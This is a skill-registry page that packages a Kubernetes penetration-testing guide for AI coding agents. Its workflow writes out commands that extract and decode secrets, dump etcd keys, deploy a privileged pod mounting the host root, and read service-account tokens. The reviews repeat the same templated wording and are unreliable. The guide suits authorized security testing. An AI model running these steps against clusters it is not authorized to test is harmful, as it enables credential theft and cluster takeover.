performing-kubernetes-penetration-testing

Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools

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Install Skill

Run in your terminal

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/performing-kubernetes-penetration-testing

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Installation Guide

How to use performing-kubernetes-penetration-testing on Cursor

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1

Prerequisites

Before installing skills in Cursor, ensure your development environment meets these requirements:

  • Cursor installed and configured on your machine
  • Node.js 16+ with npm — verify with node --version
  • Active project directory where you want to add performing-kubernetes-penetration-testing
2

Run the install command

Execute the skills CLI command in your project's root directory to begin installation:

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/performing-kubernetes-penetration-testing

Fetches performing-kubernetes-penetration-testing from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.

3

Select Cursor when prompted

The CLI shows a list of agents. Use arrow keys and space to select Cursor:

◆ Which agents do you want to install to?
│ ── Universal (.agents/skills) ────────────────
│ · Cline · Codex · Goose · Windsurf
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│ · Cursor · Aider · Continue
4

Verify installation

Confirm successful installation by checking the skill directory location:

.cursor/skills/performing-kubernetes-penetration-testing

Restart Cursor to activate performing-kubernetes-penetration-testing. Access via /performing-kubernetes-penetration-testing in your agent's command palette.

Security Notice

We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.

Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.

Documentation

name
performing-kubernetes-penetration-testing
description
Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools
domain
cybersecurity
subdomain
container-security
tags
- containers - kubernetes - security - penetration-testing - offensive-security
version
'1.0'
author
mahipal
license
Apache-2.0
nist_csf
- PR.PS-01 - PR.IR-01 - ID.AM-08 - DE.CM-01

Performing Kubernetes Penetration Testing

Overview

Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.

When to Use

  • When conducting security assessments that involve performing kubernetes penetration testing
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Authorized penetration testing engagement
  • Kubernetes cluster access (various levels for different test scenarios)
  • kube-hunter, kubescape, kube-bench installed
  • kubectl configured
  • Network access to cluster components

Core Concepts

Kubernetes Attack Surface

ComponentPortAttack Vectors
API Server6443Auth bypass, RBAC abuse, anonymous access
Kubelet10250/10255Unauthenticated access, command execution
etcd2379/2380Unauthenticated read, secret extraction
Dashboard8443Default credentials, token theft
NodePort Services30000-32767Service exposure, application exploits
CoreDNS53DNS spoofing, zone transfer

MITRE ATT&CK for Kubernetes

PhaseTechniques
Initial AccessExposed Dashboard, Kubeconfig theft, Application exploit
Executionexec into container, CronJob, deploy privileged pod
PersistenceBackdoor container, mutating webhook, static pod
Privilege EscalationPrivileged container, node access, RBAC abuse
Defense EvasionPod name mimicry, namespace hiding, log deletion
Credential AccessSecret extraction, service account token theft
Lateral MovementContainer escape, cluster internal services

Workflow

Step 1: External Reconnaissance

# Discover Kubernetes services
nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com

# Check for exposed API server
curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version

# Check anonymous authentication
curl -k https://target-cluster.com:6443/api/v1/namespaces

# Check for exposed kubelet
curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods  # Read-only kubelet

Step 2: Automated Scanning with kube-hunter

# Install kube-hunter
pip install kube-hunter

# Remote scan
kube-hunter --remote target-cluster.com

# Internal network scan (from within cluster)
kube-hunter --internal

# Pod scan (from within a pod)
kube-hunter --pod

# Generate report
kube-hunter --remote target-cluster.com --report json --log output.json

Step 3: CIS Benchmark Assessment with kube-bench

# Run kube-bench on master node
kube-bench run --targets master

# Run on worker node
kube-bench run --targets node

# Check specific sections
kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3

# JSON output
kube-bench run --json > kube-bench-results.json

# Run as Kubernetes job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench

Step 4: Framework Compliance with Kubescape

# Install kubescape
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash

# Scan against NSA/CISA hardening guide
kubescape scan framework nsa

# Scan against MITRE ATT&CK
kubescape scan framework mitre

# Scan against CIS Kubernetes Benchmark
kubescape scan framework cis-v1.23-t1.0.1

# Scan specific namespace
kubescape scan framework nsa --namespace production

# JSON output
kubescape scan framework nsa --format json --output kubescape-report.json

Step 5: RBAC Exploitation Testing

# Check current permissions
kubectl auth can-i --list

# Check specific high-value permissions
kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*'  # cluster-admin check

# Enumerate service account tokens
kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'

# Check for overly permissive roles
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'

# Test service account impersonation
kubectl --as=system:serviceaccount:default:default get pods

Step 6: Secret Extraction Testing

# List all secrets
kubectl get secrets -A

# Extract specific secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d

# Check for secrets in environment variables
kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'

# Check for secrets in mounted volumes
kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'

# Search etcd directly (if accessible)
ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets --prefix --keys-only

Step 7: Pod Exploitation

# Deploy test pod with elevated privileges
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: pentest-pod
  namespace: default
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: pentest
    image: ubuntu:22.04
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

# Exec into pod
kubectl exec -it pentest-pod -- bash

# From inside privileged pod - access host filesystem
chroot /host

# From inside any pod - check internal services
curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token

Step 8: Network Policy Testing

# Check for network policies
kubectl get networkpolicies -A

# Test pod-to-pod communication (should be blocked by policies)
kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc

# Test egress to external services
kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com

# Test access to metadata service (cloud environments)
kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/

Validation Commands

# Verify kube-hunter findings
kube-hunter --remote $CLUSTER_IP --report json

# Cross-validate with Kubescape
kubescape scan framework nsa --format json

# Check remediation effectiveness
kube-bench run --targets master,node --json

# Clean up pentest resources
kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata

References

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Use Cases

Task Automation & Efficiency

Automate repetitive workflows and reduce manual effort

Example

Generate reports, summarize documents, draft communications

Save 3-5 hours per week on routine tasks

Knowledge Enhancement

Learn new skills, understand complex topics, get expert guidance

Example

Explain concepts, provide examples, suggest learning resources

Accelerate learning and skill development by 2x

Quality Improvement

Enhance output quality through reviews, suggestions, and refinements

Example

Review drafts, suggest improvements, catch errors

Improve work quality by 30-40% with less effort

Implementation Guide

Prerequisites

  • Claude Desktop or compatible AI client with skill support
  • Clear understanding of task or problem to solve
  • Willingness to iterate and refine outputs

Time Estimate

15-45 minutes depending on use case complexity

Steps

  1. 1Install skill using provided installation command
  2. 2Test with simple use case relevant to your work
  3. 3Evaluate output quality and relevance
  4. 4Iterate on prompts to improve results
  5. 5Integrate into regular workflow if valuable

Common Pitfalls

  • Expecting perfect results without iteration
  • Not providing enough context in prompts
  • Using skill for tasks outside its intended scope
  • Accepting outputs without review and validation

Best Practices

✓ Do

  • +Start with clear, specific prompts
  • +Provide relevant context and constraints
  • +Review and refine all outputs before using
  • +Iterate to improve output quality
  • +Document successful prompt patterns

✗ Don't

  • Don't use without understanding skill limitations
  • Don't skip validation of outputs
  • Don't share sensitive information in prompts
  • Don't expect skill to replace human judgment

💡 Pro Tips

  • Be specific about desired format and style
  • Ask for multiple options to choose from
  • Request explanations to understand reasoning
  • Combine AI efficiency with human expertise

When to Use This

✓ Use when

Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.

✗ Avoid when

Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.

Learning Path

  1. 1Familiarize yourself with skill capabilities and limitations
  2. 2Start with low-risk, non-critical tasks
  3. 3Progress to more complex and valuable use cases
  4. 4Build expertise through regular use and experimentation

Related Skills

Reviews

4.543 reviews
  • D
    Diya KapoorDec 24, 2024

    Solid pick for teams standardizing on skills: performing-kubernetes-penetration-testing is focused, and the summary matches what you get after install.

  • D
    Dhruvi JainDec 20, 2024

    Solid pick for teams standardizing on skills: performing-kubernetes-penetration-testing is focused, and the summary matches what you get after install.

  • A
    Aditi AndersonDec 12, 2024

    performing-kubernetes-penetration-testing has been reliable in day-to-day use. Documentation quality is above average for community skills.

  • A
    Aditi HaddadDec 12, 2024

    We added performing-kubernetes-penetration-testing from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • A
    Aditi SharmaDec 8, 2024

    performing-kubernetes-penetration-testing is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.

  • C
    Charlotte GarciaNov 15, 2024

    We added performing-kubernetes-penetration-testing from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • O
    OshnikdeepNov 11, 2024

    We added performing-kubernetes-penetration-testing from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • K
    Kiara FarahNov 11, 2024

    performing-kubernetes-penetration-testing is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.

  • R
    Rahul SantraNov 7, 2024

    performing-kubernetes-penetration-testing is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.

  • Z
    Zaid JacksonNov 3, 2024

    performing-kubernetes-penetration-testing fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.

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